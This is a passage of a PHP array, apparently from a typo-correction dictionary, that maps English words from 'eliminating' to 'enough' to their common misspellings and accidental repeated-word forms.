iminating'=>[\r\n\t\t\t\t\t'eleminating',\r\n\t\t\t\t],\r\n\t\t\t\t'ellipse'=>[\r\n\t\t\t\t\t'elipse',\r\n\t\t\t\t],\r\n\t\t\t\t'ells'=>[\r\n\t\t\t\t\t'els',\r\n\t\t\t\t],\r\n\t\t\t\t'elocutionary'=>[\r\n\t\t\t\t\t'elocutionery',\r\n\t\t\t\t],\r\n\t\t\t\t'eloinment'=>[\r\n\t\t\t\t\t'eloiment',\r\n\t\t\t\t\t'eloinent',\r\n\t\t\t\t],\r\n\t\t\t\t'eloinments'=>[\r\n\t\t\t\t\t'eloiments',\r\n\t\t\t\t\t'eloinents',\r\n\t\t\t\t],\r\n\t\t\t\t'eloquence'=>[\r\n\t\t\t\t\t'eloquance',\r\n\t\t\t\t],\r\n\t\t\t\t'eloquent'=>[\r\n\t\t\t\t\t'eloquant',\r\n\t\t\t\t],\r\n\t\t\t\t'else'=>[\r\n\t\t\t\t\t'else else',\r\n\t\t\t\t\t'else else else',\r\n\t\t\t\t\t'esle',\r\n\t\t\t\t],\r\n\t\t\t\t'eluant'=>[\r\n\t\t\t\t\t'elaunt',\r\n\t\t\t\t\t'eluent',\r\n\t\t\t\t],\r\n\t\t\t\t'eluate'=>[\r\n\t\t\t\t\t'elaute',\r\n\t\t\t\t],\r\n\t\t\t\t'eluent'=>[\r\n\t\t\t\t\t'eluant',\r\n\t\t\t\t],\r\n\t\t\t\t'elusions'=>[\r\n\t\t\t\t\t'eluisons',\r\n\t\t\t\t],\r\n\t\t\t\t'elusive'=>[\r\n\t\t\t\t\t'ellusive',\r\n\t\t\t\t],\r\n\t\t\t\t'elusively'=>[\r\n\t\t\t\t\t'eluisvely',\r\n\t\t\t\t\t'elusivly',\r\n\t\t\t\t],\r\n\t\t\t\t'elusiveness'=>[\r\n\t\t\t\t\t'eluisveness',\r\n\t\t\t\t],\r\n\t\t\t\t'elusivenesses'=>[\r\n\t\t\t\t\t'eluisvenesses',\r\n\t\t\t\t],\r\n\t\t\t\t'eluveitie'=>[\r\n\t\t\t\t\t'eluviete',\r\n\t\t\t\t],\r\n\t\t\t\t'elysian'=>[\r\n\t\t\t\t\t'elysan',\r\n\t\t\t\t],\r\n\t\t\t\t'emanant'=>[\r\n\t\t\t\t\t'iminent',\r\n\t\t\t\t],\r\n\t\t\t\t'emanate'=>[\r\n\t\t\t\t\t'eminate',\r\n\t\t\t\t],\r\n\t\t\t\t'emancipate'=>[\r\n\t\t\t\t\t'emacipate',\r\n\t\t\t\t],\r\n\t\t\t\t'emarginate'=>[\r\n\t\t\t\t\t'emarginite',\r\n\t\t\t\t],\r\n\t\t\t\t'emasculate'=>[\r\n\t\t\t\t\t'emacsulate',\r\n\t\t\t\t\t'emaculate',\r\n\t\t\t\t\t'emasulate',\r\n\t\t\t\t],\r\n\t\t\t\t'emasculations'=>[\r\n\t\t\t\t\t'emacsulations',\r\n\t\t\t\t\t'emaculations',\r\n\t\t\t\t\t'emasulations',\r\n\t\t\t\t],\r\n\t\t\t\t'embalmment'=>[\r\n\t\t\t\t\t'embalmnent',\r\n\t\t\t\t],\r\n\t\t\t\t'embankment'=>[\r\n\t\t\t\t\t'enbankment',\r\n\t\t\t\t\t'embankmant',\r\n\t\t\t\t],\r\n\t\t\t\t'embankments'=>[\r\n\t\t\t\t\t'enbankments',\r\n\t\t\t\t],\r\n\t\t\t\t'embar'=>[\r\n\t\t\t\t\t'ember',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrass'=>[\r\n\t\t\t\t\t'embarass',\r\n\t\t\t\t\t'embaress',\r\n\t\t\t\t\t'embarras',\r\n\t\t\t\t\t'embarress',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrassable'=>[\r\n\t\t\t\t\t'embarrassible',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrassed'=>[\r\n\t\t\t\t\t'embarassed',\r\n\t\t\t\t\t'embarrased',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrassing'=>[\r\n\t\t\t\t\t'embarassing',\r\n\t\t\t\t\t'embarrasing',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrassingly'=>[\r\n\t\t\t\t\t'embarassingly',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrassment'=>[\r\n\t\t\t\t\t'embarassment',\r\n\t\t\t\t\t'embaressment',\r\n\t\t\t\t\t'embarrasment',\r\n\t\t\t\t\t'embarressment',\r\n\t\t\t\t\t'embarrassmant',\r\n\t\t\t\t],\r\n\t\t\t\t'embarrassments'=>[\r\n\t\t\t\t\t'embarassments',\r\n\t\t\t\t],\r\n\t\t\t\t'embassy'=>[\r\n\t\t\t\t\t'embascy',\r\n\t\t\t\t\t'embasy',\r\n\t\t\t\t],\r\n\t\t\t\t'embattlement'=>[\r\n\t\t\t\t\t'embattlemant',\r\n\t\t\t\t],\r\n\t\t\t\t'embedded'=>[\r\n\t\t\t\t\t'embeded',\r\n\t\t\t\t],\r\n\t\t\t\t'embellish'=>[\r\n\t\t\t\t\t'embelish',\r\n\t\t\t\t],\r\n\t\t\t\t'embellishment'=>[\r\n\t\t\t\t\t'embelishment',\r\n\t\t\t\t\t'embellishmant',\r\n\t\t\t\t],\r\n\t\t\t\t'embezzled'=>[\r\n\t\t\t\t\t'embezelled',\r\n\t\t\t\t],\r\n\t\t\t\t'emblazonment'=>[\r\n\t\t\t\t\t'emblazoment',\r\n\t\t\t\t\t'emblazonent',\r\n\t\t\t\t],\r\n\t\t\t\t'emblazonments'=>[\r\n\t\t\t\t\t'emblazoments',\r\n\t\t\t\t\t'emblazonents',\r\n\t\t\t\t],\r\n\t\t\t\t'embodiment'=>[\r\n\t\t\t\t\t'embodimant',\r\n\t\t\t\t],\r\n\t\t\t\t'emboldened'=>[\r\n\t\t\t\t\t'emboldend',\r\n\t\t\t\t],\r\n\t\t\t\t'emboly'=>[\r\n\t\t\t\t\t'emboally',\r\n\t\t\t\t\t'emboaly',\r\n\t\t\t\t\t'emboely',\r\n\t\t\t\t\t'embolly',\r\n\t\t\t\t],\r\n\t\t\t\t'emboss'=>[\r\n\t\t\t\t\t'embos',\r\n\t\t\t\t],\r\n\t\t\t\t'embraceries'=>[\r\n\t\t\t\t\t'embracereis',\r\n\t\t\t\t\t'embraceris',\r\n\t\t\t\t],\r\n\t\t\t\t'embryologically'=>[\r\n\t\t\t\t\t'embryologicalally',\r\n\t\t\t\t\t'embryologicalaly',\r\n\t\t\t\t\t'embryologicalely',\r\n\t\t\t\t\t'embryologicallly',\r\n\t\t\t\t],\r\n\t\t\t\t'emergence'=>[\r\n\t\t\t\t\t'emergance',\r\n\t\t\t\t],\r\n\t\t\t\t'emergencies'=>[\r\n\t\t\t\t\t'emergenceis',\r\n\t\t\t\t\t'emergencis',\r\n\t\t\t\t],\r\n\t\t\t\t'emergency'=>[\r\n\t\t\t\t\t'emergensy',\r\n\t\t\t\t],\r\n\t\t\t\t'emergent'=>[\r\n\t\t\t\t\t'emergant',\r\n\t\t\t\t],\r\n\t\t\t\t'emigrant'=>[\r\n\t\t\t\t\t'emmigrant',\r\n\t\t\t\t\t'emigrent',\r\n\t\t\t\t],\r\n\t\t\t\t'emigrants'=>[\r\n\t\t\t\t\t'emmigrants',\r\n\t\t\t\t],\r\n\t\t\t\t'emigrate'=>[\r\n\t\t\t\t\t'emmigrate',\r\n\t\t\t\t],\r\n\t\t\t\t'emigrated'=>[\r\n\t\t\t\t\t'emmigrated',\r\n\t\t\t\t],\r\n\t\t\t\t'emigration'=>[\r\n\t\t\t\t\t'emmigration',\r\n\t\t\t\t],\r\n\t\t\t\t'emilia elsner'=>[\r\n\t\t\t\t\t'emily elsner',\r\n\t\t\t\t],\r\n\t\t\t\t'eminence'=>[\r\n\t\t\t\t\t'eminance',\r\n\t\t\t\t\t'eminince',\r\n\t\t\t\t],\r\n\t\t\t\t'eminency'=>[\r\n\t\t\t\t\t'eminensy',\r\n\t\t\t\t],\r\n\t\t\t\t'eminent'=>[\r\n\t\t\t\t\t'emminent',\r\n\t\t\t\t\t'eminant',\r\n\t\t\t\t\t'eminint',\r\n\t\t\t\t],\r\n\t\t\t\t'eminently'=>[\r\n\t\t\t\t\t'emminently',\r\n\t\t\t\t\t'eminentally',\r\n\t\t\t\t\t'eminentaly',\r\n\t\t\t\t\t'eminentely',\r\n\t\t\t\t\t'eminentlly',\r\n\t\t\t\t],\r\n\t\t\t\t'emissaries'=>[\r\n\t\t\t\t\t'emmisaries',\r\n\t\t\t\t\t'emmisarries',\r\n\t\t\t\t],\r\n\t\t\t\t'emissary'=>[\r\n\t\t\t\t\t'emisary',\r\n\t\t\t\t\t'emmisarry',\r\n\t\t\t\t\t'emmisary',\r\n\t\t\t\t\t'emmissary',\r\n\t\t\t\t\t'emissery',\r\n\t\t\t\t],\r\n\t\t\t\t'emission'=>[\r\n\t\t\t\t\t'emision',\r\n\t\t\t\t\t'emmision',\r\n\t\t\t\t\t'emmission',\r\n\t\t\t\t],\r\n\t\t\t\t'emit'=>[\r\n\t\t\t\t\t'emitt',\r\n\t\t\t\t],\r\n\t\t\t\t'emittance'=>[\r\n\t\t\t\t\t'emittence',\r\n\t\t\t\t],\r\n\t\t\t\t'emitted'=>[\r\n\t\t\t\t\t'emited',\r\n\t\t\t\t\t'emmited',\r\n\t\t\t\t\t'emmitted',\r\n\t\t\t\t],\r\n\t\t\t\t'emitter'=>[\r\n\t\t\t\t\t'emiter',\r\n\t\t\t\t],\r\n\t\t\t\t'emitting'=>[\r\n\t\t\t\t\t'emiting',\r\n\t\t\t\t\t'emmiting',\r\n\t\t\t\t\t'emmitting',\r\n\t\t\t\t],\r\n\t\t\t\t'emmenagogue'=>[\r\n\t\t\t\t\t'emnenagogue',\r\n\t\t\t\t],\r\n\t\t\t\t'emmer'=>[\r\n\t\t\t\t\t'emner',\r\n\t\t\t\t],\r\n\t\t\t\t'emmers'=>[\r\n\t\t\t\t\t'emners',\r\n\t\t\t\t],\r\n\t\t\t\t'emmet'=>[\r\n\t\t\t\t\t'emnet',\r\n\t\t\t\t],\r\n\t\t\t\t'emmetropes'=>[\r\n\t\t\t\t\t'emnetropes',\r\n\t\t\t\t],\r\n\t\t\t\t'emmets'=>[\r\n\t\t\t\t\t'emnets',\r\n\t\t\t\t],\r\n\t\t\t\t'emmy'=>[\r\n\t\t\t\t\t'emny',\r\n\t\t\t\t],\r\n\t\t\t\t'emmys'=>[\r\n\t\t\t\t\t'emnys',\r\n\t\t\t\t],\r\n\t\t\t\t'emollient'=>[\r\n\t\t\t\t\t'emolleint',\r\n\t\t\t\t\t'emollint',\r\n\t\t\t\t],\r\n\t\t\t\t'emotion'=>[\r\n\t\t\t\t\t'emition',\r\n\t\t\t\t],\r\n\t\t\t\t'emotionalities'=>[\r\n\t\t\t\t\t'emotionaliteis',\r\n\t\t\t\t\t'emotionalitis',\r\n\t\t\t\t],\r\n\t\t\t\t'emotionless'=>[\r\n\t\t\t\t\t'emotionles',\r\n\t\t\t\t],\r\n\t\t\t\t'emotionlessly'=>[\r\n\t\t\t\t\t'emotionlessally',\r\n\t\t\t\t\t'emotionlessaly',\r\n\t\t\t\t\t'emotionlessely',\r\n\t\t\t\t\t'emotionlesslly',\r\n\t\t\t\t],\r\n\t\t\t\t'emotivities'=>[\r\n\t\t\t\t\t'emotiviteis',\r\n\t\t\t\t\t'emotivitis',\r\n\t\t\t\t],\r\n\t\t\t\t'empennage'=>[\r\n\t\t\t\t\t'empenage',\r\n\t\t\t\t],\r\n\t\t\t\t'emperor'=>[\r\n\t\t\t\t\t'emporer',\r\n\t\t\t\t],\r\n\t\t\t\t'emphasis'=>[\r\n\t\t\t\t\t'empahsis',\r\n\t\t\t\t],\r\n\t\t\t\t'emphasize'=>[\r\n\t\t\t\t\t'empahsize',\r\n\t\t\t\t],\r\n\t\t\t\t'emphysema'=>[\r\n\t\t\t\t\t'emphysyma',\r\n\t\t\t\t],\r\n\t\t\t\t'empire'=>[\r\n\t\t\t\t\t'emprie',\r\n\t\t\t\t],\r\n\t\t\t\t'empiric'=>[\r\n\t\t\t\t\t'imperic',\r\n\t\t\t\t],\r\n\t\t\t\t'empirical'=>[\r\n\t\t\t\t\t'emperical',\r\n\t\t\t\t\t'imperical',\r\n\t\t\t\t],\r\n\t\t\t\t'empiricalism'=>[\r\n\t\t\t\t\t'emperical',\r\n\t\t\t\t\t'impericalism',\r\n\t\t\t\t],\r\n\t\t\t\t'empirically'=>[\r\n\t\t\t\t\t'imperically',\r\n\t\t\t\t],\r\n\t\t\t\t'emplacement'=>[\r\n\t\t\t\t\t'emplacemant',\r\n\t\t\t\t],\r\n\t\t\t\t'employ'=>[\r\n\t\t\t\t\t'emply',\r\n\t\t\t\t],\r\n\t\t\t\t'employabilities'=>[\r\n\t\t\t\t\t'employabiliteis',\r\n\t\t\t\t\t'employabilitis',\r\n\t\t\t\t],\r\n\t\t\t\t'employed'=>[\r\n\t\t\t\t\t'emloyed',\r\n\t\t\t\t\t'emploved',\r\n\t\t\t\t\t'emplowed',\r\n\t\t\t\t\t'employeed',\r\n\t\t\t\t],\r\n\t\t\t\t'employee'=>[\r\n\t\t\t\t\t'emloyee',\r\n\t\t\t\t\t'employe',\r\n\t\t\t\t],\r\n\t\t\t\t'employees'=>[\r\n\t\t\t\t\t'emloyees',\r\n\t\t\t\t\t'employes',\r\n\t\t\t\t],\r\n\t\t\t\t'employing'=>[\r\n\t\t\t\t\t'emloying',\r\n\t\t\t\t],\r\n\t\t\t\t'employment'=>[\r\n\t\t\t\t\t'employmant',\r\n\t\t\t\t],\r\n\t\t\t\t'empoisonment'=>[\r\n\t\t\t\t\t'empoisoment',\r\n\t\t\t\t\t'empoisonent',\r\n\t\t\t\t],\r\n\t\t\t\t'empoisonments'=>[\r\n\t\t\t\t\t'empoisoments',\r\n\t\t\t\t\t'empoisonents',\r\n\t\t\t\t],\r\n\t\t\t\t'empress'=>[\r\n\t\t\t\t\t'empres',\r\n\t\t\t\t],\r\n\t\t\t\t'empressement'=>[\r\n\t\t\t\t\t'empresement',\r\n\t\t\t\t],\r\n\t\t\t\t'emulatively'=>[\r\n\t\t\t\t\t'emulativly',\r\n\t\t\t\t],\r\n\t\t\t\t'emulsible'=>[\r\n\t\t\t\t\t'emulsable',\r\n\t\t\t\t],\r\n\t\t\t\t'emulsifiers'=>[\r\n\t\t\t\t\t'emulsifeirs',\r\n\t\t\t\t\t'emulsifirs',\r\n\t\t\t\t],\r\n\t\t\t\t'emunctories'=>[\r\n\t\t\t\t\t'emunctoreis',\r\n\t\t\t\t\t'emunctoris',\r\n\t\t\t\t],\r\n\t\t\t\t'en route'=>[\r\n\t\t\t\t\t'enroute',\r\n\t\t\t\t],\r\n\t\t\t\t'enable'=>[\r\n\t\t\t\t\t'enible',\r\n\t\t\t\t],\r\n\t\t\t\t'enact'=>[\r\n\t\t\t\t\t'inact',\r\n\t\t\t\t],\r\n\t\t\t\t'enactment'=>[\r\n\t\t\t\t\t'enactmant',\r\n\t\t\t\t],\r\n\t\t\t\t'enamor'=>[\r\n\t\t\t\t\t'enamour',\r\n\t\t\t\t],\r\n\t\t\t\t'enamored'=>[\r\n\t\t\t\t\t'enamoured',\r\n\t\t\t\t],\r\n\t\t\t\t'enamoring'=>[\r\n\t\t\t\t\t'enamouring',\r\n\t\t\t\t],\r\n\t\t\t\t'enamors'=>[\r\n\t\t\t\t\t'enamours',\r\n\t\t\t\t],\r\n\t\t\t\t'enantiomer'=>[\r\n\t\t\t\t\t'enentiomer',\r\n\t\t\t\t],\r\n\t\t\t\t'enantiomorph'=>[\r\n\t\t\t\t\t'enantiomourph',\r\n\t\t\t\t\t'enentiomorph',\r\n\t\t\t\t],\r\n\t\t\t\t'enantiomorphic'=>[\r\n\t\t\t\t\t'enantiomourphic',\r\n\t\t\t\t\t'enentiomorphic',\r\n\t\t\t\t],\r\n\t\t\t\t'enantiomorphism'=>[\r\n\t\t\t\t\t'enantiomourphism',\r\n\t\t\t\t\t'enentiomorphism',\r\n\t\t\t\t],\r\n\t\t\t\t'enantiomorphous'=>[\r\n\t\t\t\t\t'enantiomourphous',\r\n\t\t\t\t\t'enentiomorphous',\r\n\t\t\t\t],\r\n\t\t\t\t'enantiomorphs'=>[\r\n\t\t\t\t\t'enantiomourphs',\r\n\t\t\t\t\t'enentiomorphs',\r\n\t\t\t\t],\r\n\t\t\t\t'enceinte'=>[\r\n\t\t\t\t\t'enciente',\r\n\t\t\t\t],\r\n\t\t\t\t'enchainment'=>[\r\n\t\t\t\t\t'enchaiment',\r\n\t\t\t\t\t'enchainent',\r\n\t\t\t\t],\r\n\t\t\t\t'enchainments'=>[\r\n\t\t\t\t\t'enchaiments',\r\n\t\t\t\t\t'enchainents',\r\n\t\t\t\t],\r\n\t\t\t\t'enchant'=>[\r\n\t\t\t\t\t'enchent',\r\n\t\t\t\t],\r\n\t\t\t\t'enchanter'=>[\r\n\t\t\t\t\t'enchenter',\r\n\t\t\t\t],\r\n\t\t\t\t'enchanting'=>[\r\n\t\t\t\t\t'enchenting',\r\n\t\t\t\t],\r\n\t\t\t\t'enchantment'=>[\r\n\t\t\t\t\t'enchantmant',\r\n\t\t\t\t\t'enchentment',\r\n\t\t\t\t],\r\n\t\t\t\t'enchantress'=>[\r\n\t\t\t\t\t'enchantres',\r\n\t\t\t\t\t'enchentress',\r\n\t\t\t\t],\r\n\t\t\t\t'enchantresses'=>[\r\n\t\t\t\t\t'enchentresses',\r\n\t\t\t\t],\r\n\t\t\t\t'encina'=>[\r\n\t\t\t\t\t'encini',\r\n\t\t\t\t],\r\n\t\t\t\t'enclose'=>[\r\n\t\t\t\t\t'inclose',\r\n\t\t\t\t],\r\n\t\t\t\t'enclosed'=>[\r\n\t\t\t\t\t'inclosed',\r\n\t\t\t\t],\r\n\t\t\t\t'enclosure'=>[\r\n\t\t\t\t\t'encolsure',\r\n\t\t\t\t],\r\n\t\t\t\t'encompass'=>[\r\n\t\t\t\t\t'encompas',\r\n\t\t\t\t],\r\n\t\t\t\t'encounter'=>[\r\n\t\t\t\t\t'encouter',\r\n\t\t\t\t],\r\n\t\t\t\t'encouragement'=>[\r\n\t\t\t\t\t'encouragemant',\r\n\t\t\t\t],\r\n\t\t\t\t'encouraging'=>[\r\n\t\t\t\t\t'engourageing', 'engouraging', 'enouraging',\r\n\t\t\t\t],\r\n\t\t\t\t'encroachment'=>[\r\n\t\t\t\t\t'encroachmant',\r\n\t\t\t\t],\r\n\t\t\t\t'encryption'=>[\r\n\t\t\t\t\t'encryptiion',\r\n\t\t\t\t],\r\n\t\t\t\t'encumber'=>[\r\n\t\t\t\t\t'incumber',\r\n\t\t\t\t],\r\n\t\t\t\t'encumbrance'=>[\r\n\t\t\t\t\t'incumbrance',\r\n\t\t\t\t\t'encumbrence',\r\n\t\t\t\t],\r\n\t\t\t\t'encyclopedia'=>[\r\n\t\t\t\t\t'encyclopeadia',\r\n\t\t\t\t\t'encyclopeda',\r\n\t\t\t\t\t'encyclpedia',\r\n\t\t\t\t\t'encylopedia',\r\n\t\t\t\t\t'eyncyclopedia',\r\n\t\t\t\t],\r\n\t\t\t\t'end'=>[\r\n\t\t\t\t\t'end end',\r\n\t\t\t\t\t'end end end',\r\n\t\t\t\t],\r\n\t\t\t\t'endear'=>[\r\n\t\t\t\t\t'endeer',\r\n\t\t\t\t],\r\n\t\t\t\t'endearing'=>[\r\n\t\t\t\t\t'endering',\r\n\t\t\t\t],\r\n\t\t\t\t'endearment'=>[\r\n\t\t\t\t\t'enderment',\r\n\t\t\t\t],\r\n\t\t\t\t'endeavor'=>[\r\n\t\t\t\t\t'endavour',\r\n\t\t\t\t\t'endeaovour',\r\n\t\t\t\t\t'endeavnor',\r\n\t\t\t\t\t'endevor',\r\n\t\t\t\t],\r\n\t\t\t\t'endeavour'=>[\r\n\t\t\t\t\t'edeavour',\r\n\t\t\t\t\t'endevour',\r\n\t\t\t\t],\r\n\t\t\t\t'endless'=>[\r\n\t\t\t\t\t'endles',\r\n\t\t\t\t],\r\n\t\t\t\t'endocrine'=>[\r\n\t\t\t\t\t'endocrini',\r\n\t\t\t\t],\r\n\t\t\t\t'endocrinologies'=>[\r\n\t\t\t\t\t'endocrinologeis',\r\n\t\t\t\t\t'endocrinologis',\r\n\t\t\t\t],\r\n\t\t\t\t'endoliths'=>[\r\n\t\t\t\t\t'endolithes',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorph'=>[\r\n\t\t\t\t\t'endomourph',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorphic'=>[\r\n\t\t\t\t\t'endomourphic',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorphies'=>[\r\n\t\t\t\t\t'endomourphies',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorphism'=>[\r\n\t\t\t\t\t'endomourphism',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorphisms'=>[\r\n\t\t\t\t\t'endomourphisms',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorphs'=>[\r\n\t\t\t\t\t'endomourphs',\r\n\t\t\t\t],\r\n\t\t\t\t'endomorphy'=>[\r\n\t\t\t\t\t'endomourphy',\r\n\t\t\t\t],\r\n\t\t\t\t'endonuclease'=>[\r\n\t\t\t\t\t'endonuclese',\r\n\t\t\t\t],\r\n\t\t\t\t'endoparasite'=>[\r\n\t\t\t\t\t'endoperasite',\r\n\t\t\t\t],\r\n\t\t\t\t'endoparasites'=>[\r\n\t\t\t\t\t'endoperasites',\r\n\t\t\t\t],\r\n\t\t\t\t'endoparasitic'=>[\r\n\t\t\t\t\t'endoperasitic',\r\n\t\t\t\t],\r\n\t\t\t\t'endoparasitism'=>[\r\n\t\t\t\t\t'endoperasitism',\r\n\t\t\t\t],\r\n\t\t\t\t'endoparasitisms'=>[\r\n\t\t\t\t\t'endoperasitisms',\r\n\t\t\t\t],\r\n\t\t\t\t'endorsement'=>[\r\n\t\t\t\t\t'endorsemant',\r\n\t\t\t\t],\r\n\t\t\t\t'endoscope'=>[\r\n\t\t\t\t\t'endocope',\r\n\t\t\t\t\t'endocsope',\r\n\t\t\t\t\t'endosope',\r\n\t\t\t\t],\r\n\t\t\t\t'endoscopically'=>[\r\n\t\t\t\t\t'endocopically',\r\n\t\t\t\t\t'endocsopically',\r\n\t\t\t\t\t'endosopically',\r\n\t\t\t\t],\r\n\t\t\t\t'endoscopies'=>[\r\n\t\t\t\t\t'endoscopeis',\r\n\t\t\t\t\t'endoscopis',\r\n\t\t\t\t],\r\n\t\t\t\t'endotracheal'=>[\r\n\t\t\t\t\t'endotrachel',\r\n\t\t\t\t],\r\n\t\t\t\t'endowment'=>[\r\n\t\t\t\t\t'endowmant',\r\n\t\t\t\t],\r\n\t\t\t\t'endurable'=>[\r\n\t\t\t\t\t'endurible',\r\n\t\t\t\t],\r\n\t\t\t\t'endurance'=>[\r\n\t\t\t\t\t'endurace',\r\n\t\t\t\t\t'indurance',\r\n\t\t\t\t\t'endurence',\r\n\t\t\t\t],\r\n\t\t\t\t'endure'=>[\r\n\t\t\t\t\t'indure',\r\n\t\t\t\t],\r\n\t\t\t\t'enemy'=>[\r\n\t\t\t\t\t'enemey',\r\n\t\t\t\t\t'enemy enemy',\r\n\t\t\t\t\t'enemy enemy enemy',\r\n\t\t\t\t],\r\n\t\t\t\t'energy'=>[\r\n\t\t\t\t\t'energy energy',\r\n\t\t\t\t\t'energy energy energy',\r\n\t\t\t\t],\r\n\t\t\t\t'enforceability'=>[\r\n\t\t\t\t\t'enforcebility',\r\n\t\t\t\t],\r\n\t\t\t\t'enframement'=>[\r\n\t\t\t\t\t'enframent',\r\n\t\t\t\t],\r\n\t\t\t\t'enframements'=>[\r\n\t\t\t\t\t'enframents',\r\n\t\t\t\t],\r\n\t\t\t\t'enfranchisement'=>[\r\n\t\t\t\t\t'enfranchisemant',\r\n\t\t\t\t],\r\n\t\t\t\t'engage'=>[\r\n\t\t\t\t\t'enage',\r\n\t\t\t\t],\r\n\t\t\t\t'engagement'=>[\r\n\t\t\t\t\t'engagment',\r\n\t\t\t\t\t'engagemant',\r\n\t\t\t\t],\r\n\t\t\t\t'engine'=>[\r\n\t\t\t\t\t'engine engine',\r\n\t\t\t\t\t'engine engine engine',\r\n\t\t\t\t\t'engini',\r\n\t\t\t\t],\r\n\t\t\t\t'engineer'=>[\r\n\t\t\t\t\t'engeneer',\r\n\t\t\t\t\t'engieneer',\r\n\t\t\t\t\t'engineeer',\r\n\t\t\t\t\t'enginer',\r\n\t\t\t\t\t'enginner',\r\n\t\t\t\t\t'enginier',\r\n\t\t\t\t],\r\n\t\t\t\t'engineering'=>[\r\n\t\t\t\t\t'engeneering',\r\n\t\t\t\t\t'engineeering',\r\n\t\t\t\t\t'engineeering ',\r\n\t\t\t\t\t'enginnering',\r\n\t\t\t\t\t'enginiering',\r\n\t\t\t\t],\r\n\t\t\t\t'engineers'=>[\r\n\t\t\t\t\t'engieneers',\r\n\t\t\t\t\t'engineeers',\r\n\t\t\t\t\t'enginners',\r\n\t\t\t\t],\r\n\t\t\t\t'england'=>[\r\n\t\t\t\t\t'engand',\r\n\t\t\t\t],\r\n\t\t\t\t'english'=>[\r\n\t\t\t\t\t'enlish',\r\n\t\t\t\t],\r\n\t\t\t\t'english-occupied'=>[\r\n\t\t\t\t\t'english occupied',\r\n\t\t\t\t],\r\n\t\t\t\t'engrossing'=>[\r\n\t\t\t\t\t'engrosing',\r\n\t\t\t\t],\r\n\t\t\t\t'enhance'=>[\r\n\t\t\t\t\t'enhence',\r\n\t\t\t\t],\r\n\t\t\t\t'enhancement'=>[\r\n\t\t\t\t\t'enchancement',\r\n\t\t\t\t],\r\n\t\t\t\t'enjoyment'=>[\r\n\t\t\t\t\t'enjoymant',\r\n\t\t\t\t],\r\n\t\t\t\t'enlargement'=>[\r\n\t\t\t\t\t'enlargment',\r\n\t\t\t\t\t'enlargemant',\r\n\t\t\t\t],\r\n\t\t\t\t'enlightened'=>[\r\n\t\t\t\t\t'enlightend',\r\n\t\t\t\t],\r\n\t\t\t\t'enlightenment'=>[\r\n\t\t\t\t\t'enlightement',\r\n\t\t\t\t\t'enlightenent',\r\n\t\t\t\t\t'enlightenmant',\r\n\t\t\t\t],\r\n\t\t\t\t'enlightenments'=>[\r\n\t\t\t\t\t'enlightements',\r\n\t\t\t\t\t'enlightenents',\r\n\t\t\t\t\t'enlightenmants',\r\n\t\t\t\t],\r\n\t\t\t\t'enlist'=>[\r\n\t\t\t\t\t'enlift',\r\n\t\t\t\t\t'enlish',\r\n\t\t\t\t],\r\n\t\t\t\t'enlisted'=>[\r\n\t\t\t\t\t'enlifted',\r\n\t\t\t\t],\r\n\t\t\t\t'enlivened'=>[\r\n\t\t\t\t\t'enlivend',\r\n\t\t\t\t],\r\n\t\t\t\t'enmesh'=>[\r\n\t\t\t\t\t'emesh',\r\n\t\t\t\t\t'enesh',\r\n\t\t\t\t],\r\n\t\t\t\t'enmeshed'=>[\r\n\t\t\t\t\t'emeshed',\r\n\t\t\t\t\t'eneshed',\r\n\t\t\t\t],\r\n\t\t\t\t'enmeshes'=>[\r\n\t\t\t\t\t'emeshes',\r\n\t\t\t\t\t'eneshes',\r\n\t\t\t\t],\r\n\t\t\t\t'enmeshing'=>[\r\n\t\t\t\t\t'emeshing',\r\n\t\t\t\t\t'eneshing',\r\n\t\t\t\t],\r\n\t\t\t\t'enmeshment'=>[\r\n\t\t\t\t\t'emeshment',\r\n\t\t\t\t\t'eneshment',\r\n\t\t\t\t],\r\n\t\t\t\t'enmeshments'=>[\r\n\t\t\t\t\t'emeshments',\r\n\t\t\t\t\t'eneshments',\r\n\t\t\t\t],\r\n\t\t\t\t'enmities'=>[\r\n\t\t\t\t\t'emities',\r\n\t\t\t\t\t'enities',\r\n\t\t\t\t],\r\n\t\t\t\t'enmity'=>[\r\n\t\t\t\t\t'emnity',\r\n\t\t\t\t\t'emity',\r\n\t\t\t\t\t'enity',\r\n\t\t\t\t],\r\n\t\t\t\t'ennead'=>[\r\n\t\t\t\t\t'enead',\r\n\t\t\t\t],\r\n\t\t\t\t'ennoble'=>[\r\n\t\t\t\t\t'enoble',\r\n\t\t\t\t],\r\n\t\t\t\t'ennoblement'=>[\r\n\t\t\t\t\t'enoblement',\r\n\t\t\t\t],\r\n\t\t\t\t'ennoblements'=>[\r\n\t\t\t\t\t'enoblements',\r\n\t\t\t\t],\r\n\t\t\t\t'ennui'=>[\r\n\t\t\t\t\t'enui',\r\n\t\t\t\t],\r\n\t\t\t\t'enormities'=>[\r\n\t\t\t\t\t'enourmities',\r\n\t\t\t\t],\r\n\t\t\t\t'enormity'=>[\r\n\t\t\t\t\t'enourmity',\r\n\t\t\t\t],\r\n\t\t\t\t'enormous'=>[\r\n\t\t\t\t\t'enourmous',\r\n\t\t\t\t],\r\n\t\t\t\t'enormously'=>[\r\n\t\t\t\t\t'enourmously',\r\n\t\t\t\t],\r\n\t\t\t\t'enormousness'=>[\r\n\t\t\t\t\t'enourmousness',\r\n\t\t\t\t],\r\n\t\t\t\t'enormousnesses'=>[\r\n\t\t\t\t\t'enourmousnesses',\r\n\t\t\t\t],\r\n\t\t\t\t'enough'=>[\r\n\t\t\t\t\t'enough enough',\r\n\t\t\t\t\t'enough enough 